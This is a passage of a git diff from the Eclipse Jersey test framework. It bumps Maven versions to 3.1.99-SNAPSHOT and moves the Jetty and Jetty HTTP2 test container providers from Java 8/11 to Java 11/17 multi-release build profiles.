<modelVersion>4.0.0</modelVersion>
diff --git a/security/pom.xml b/security/pom.xml
index bfe13e6..032101c 100644
--- a/security/pom.xml
+++ b/security/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.security</groupId>
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml
index c26482f..da43fbb 100644
--- a/test-framework/core/pom.xml
+++ b/test-framework/core/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-core</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.core</groupId>
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml
index f2f9cc0..b706320 100644
--- a/test-framework/maven/container-runner-maven-plugin/pom.xml
+++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.maven</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>container-runner-maven-plugin</artifactId>
diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml
index 5f702fc..0021a84 100644
--- a/test-framework/maven/custom-enforcer-rules/pom.xml
+++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.maven</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>custom-enforcer-rules</artifactId>
diff --git a/test-framework/maven/pom.xml b/test-framework/maven/pom.xml
index 66da100..af2bb77 100644
--- a/test-framework/maven/pom.xml
+++ b/test-framework/maven/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/test-framework/memleak-test-common/pom.xml b/test-framework/memleak-test-common/pom.xml
index be40dbf..b3573bc 100644
--- a/test-framework/memleak-test-common/pom.xml
+++ b/test-framework/memleak-test-common/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>memleak-test-common</artifactId>
diff --git a/test-framework/pom.xml b/test-framework/pom.xml
index 5d7da44..f29e0b1 100644
--- a/test-framework/pom.xml
+++ b/test-framework/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/test-framework/providers/bundle/pom.xml b/test-framework/providers/bundle/pom.xml
index ec8f3bc..fa66b65 100644
--- a/test-framework/providers/bundle/pom.xml
+++ b/test-framework/providers/bundle/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-bundle</artifactId>
diff --git a/test-framework/providers/external/pom.xml b/test-framework/providers/external/pom.xml
index 53c0504..ecaf059 100644
--- a/test-framework/providers/external/pom.xml
+++ b/test-framework/providers/external/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-external</artifactId>
diff --git a/test-framework/providers/grizzly2/pom.xml b/test-framework/providers/grizzly2/pom.xml
index b3fd19e..0da48ea 100644
--- a/test-framework/providers/grizzly2/pom.xml
+++ b/test-framework/providers/grizzly2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-grizzly2</artifactId>
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
diff --git a/test-framework/providers/inmemory/pom.xml b/test-framework/providers/inmemory/pom.xml
index 7af40a2..5d4d43b 100644
--- a/test-framework/providers/inmemory/pom.xml
+++ b/test-framework/providers/inmemory/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-inmemory</artifactId>
diff --git a/test-framework/providers/jdk-http/pom.xml b/test-framework/providers/jdk-http/pom.xml
index 56fce13..7c38deb 100644
--- a/test-framework/providers/jdk-http/pom.xml
+++ b/test-framework/providers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-test-framework-provider-jdk-http</artifactId>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml
index caffc01..579931a 100644
--- a/test-framework/providers/jetty-http2/pom.xml
+++ b/test-framework/providers/jetty-http2/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -31,6 +31,13 @@
<description>Jersey Test Framework - Jetty HTTP2 container</description>
+ <properties>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+ </properties>
+
<dependencies>
<dependency>
<groupId>org.glassfish.jersey.test-framework</groupId>
@@ -44,56 +51,15 @@
</dependency>
</dependencies>
- <properties>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
- <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
- </properties>
-
<profiles>
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
+ <properties>
+ <jetty.version>${jetty11.version}</jetty.version>
+ </properties>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -114,17 +80,54 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>Jetty17</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
<!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyHttp2TestContainerFactory.class</exists>
+ <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -145,16 +148,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -166,14 +169,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -188,4 +191,4 @@
</profile>
</profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
index cd4980f..22e0a3c 100644
--- a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
+++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
@@ -15,6 +15,6 @@
*/
/**
- * Jersey test framework for Jetty HTTP/2 Container.
+ * Jersey test framework for Jetty 11 HTTP/2 Container.
*/
package org.glassfish.jersey.test.jetty.http2;
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
index e63f057..44fa02a 100644
--- a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -16,111 +16,21 @@
package org.glassfish.jersey.test.jetty.http2;
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import jakarta.ws.rs.ProcessingException;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
import org.glassfish.jersey.test.DeploymentContext;
import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
import org.glassfish.jersey.test.spi.TestContainerFactory;
-import org.glassfish.jersey.test.spi.TestHelper;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-
+import java.net.URI;
/**
* Factory for testing {@link JettyHttp2ContainerFactory}.
*
*/
public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
- private static class JettyHttp2TestContainer implements TestContainer {
-
- private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
-
- private URI baseUri;
- private final Server server;
-
- private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
- final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
- if (!"/".equals(base.getRawPath())) {
- throw new TestContainerException(String.format(
- "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
- base.getRawPath()));
- }
-
- this.baseUri = base;
-
- if (LOGGER.isLoggable(Level.INFO)) {
- LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
- + TestHelper.zeroPortToAvailablePort(baseUri));
- }
-
- this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
- }
-
- @Override
- public ClientConfig getClientConfig() {
- return null;
- }
-
- @Override
- public URI getBaseUri() {
- return baseUri;
- }
-
- @Override
- public void start() {
- if (server.isStarted()) {
- LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
- } else {
- LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
- try {
- server.start();
-
- if (baseUri.getPort() == 0) {
- int port = 0;
- for (final Connector connector : server.getConnectors()) {
- if (connector instanceof ServerConnector) {
- port = ((ServerConnector) connector).getLocalPort();
- break;
- }
- }
-
- baseUri = UriBuilder.fromUri(baseUri).port(port).build();
-
- LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
- }
- } catch (Exception e) {
- throw new TestContainerException(e);
- }
- }
- }
-
- @Override
- public void stop() {
- if (server.isStarted()) {
- LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
- try {
- this.server.stop();
- } catch (Exception ex) {
- LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
- }
- } else {
- LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
- }
- }
- }
-
@Override
public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
- return new JettyHttp2TestContainer(baseUri, context);
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
}
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
new file mode 100644
index 0000000..e63f057
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link JettyHttp2ContainerFactory}.
+ *
+ */
+public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
+
+ private static class JettyHttp2TestContainer implements TestContainer {
+
+ private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
+
+ private URI baseUri;
+ private final Server server;
+
+ private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
+ final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+ if (!"/".equals(base.getRawPath())) {
+ throw new TestContainerException(String.format(
+ "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
+ base.getRawPath()));
+ }
+
+ this.baseUri = base;
+
+ if (LOGGER.isLoggable(Level.INFO)) {
+ LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
+ + TestHelper.zeroPortToAvailablePort(baseUri));
+ }
+
+ this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
+ }
+
+ @Override
+ public ClientConfig getClientConfig() {
+ return null;
+ }
+
+ @Override
+ public URI getBaseUri() {
+ return baseUri;
+ }
+
+ @Override
+ public void start() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
+ } else {
+ LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
+ try {
+ server.start();
+
+ if (baseUri.getPort() == 0) {
+ int port = 0;
+ for (final Connector connector : server.getConnectors()) {
+ if (connector instanceof ServerConnector) {
+ port = ((ServerConnector) connector).getLocalPort();
+ break;
+ }
+ }
+
+ baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+ LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
+ }
+ } catch (Exception e) {
+ throw new TestContainerException(e);
+ }
+ }
+ }
+
+ @Override
+ public void stop() {
+ if (server.isStarted()) {
+ LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
+ try {
+ this.server.stop();
+ } catch (Exception ex) {
+ LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
+ }
+ } else {
+ LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
+ }
+ }
+ }
+
+ @Override
+ public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+ return new JettyHttp2TestContainer(baseUri, context);
+ }
+}
diff --git a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
deleted file mode 100644
index 44fa02a..0000000
--- a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty.http2;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-/**
- * Factory for testing {@link JettyHttp2ContainerFactory}.
- *
- */
-public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
-
- @Override
- public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
index 42b7847..63ba6bf 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
+++ b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -1 +1 @@
-org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
\ No newline at end of file
+org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
similarity index 98%
rename from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
rename to test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
index 2886c72..f10b03c 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
index 1964156..541f193 100644
--- a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
+++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
@@ -23,7 +23,6 @@
import org.glassfish.jersey.test.DeploymentContext;
import org.glassfish.jersey.test.JerseyTest;
import org.glassfish.jersey.test.TestProperties;
-import org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory;
import org.glassfish.jersey.test.spi.TestContainerFactory;
import org.junit.jupiter.api.Test;
diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml
index 7e5e861..1a8b21b 100644
--- a/test-framework/providers/jetty/pom.xml
+++ b/test-framework/providers/jetty/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -42,58 +42,29 @@
<artifactId>jersey-container-jetty-http</artifactId>
<version>${project.version}</version>
</dependency>
+ <dependency>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ <version>${slf4j.version}</version>
+ </dependency>
</dependencies>
<properties>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
<java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
</properties>
<profiles>
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
+ <properties>
+ <jetty.version>${jetty11.version}</jetty.version>
+ </properties>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -114,17 +85,54 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>Jetty17</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
<!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
+ <exists>target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -145,16 +153,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -166,14 +174,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
diff --git a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
index e5dba36..1632869 100644
--- a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
+++ b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
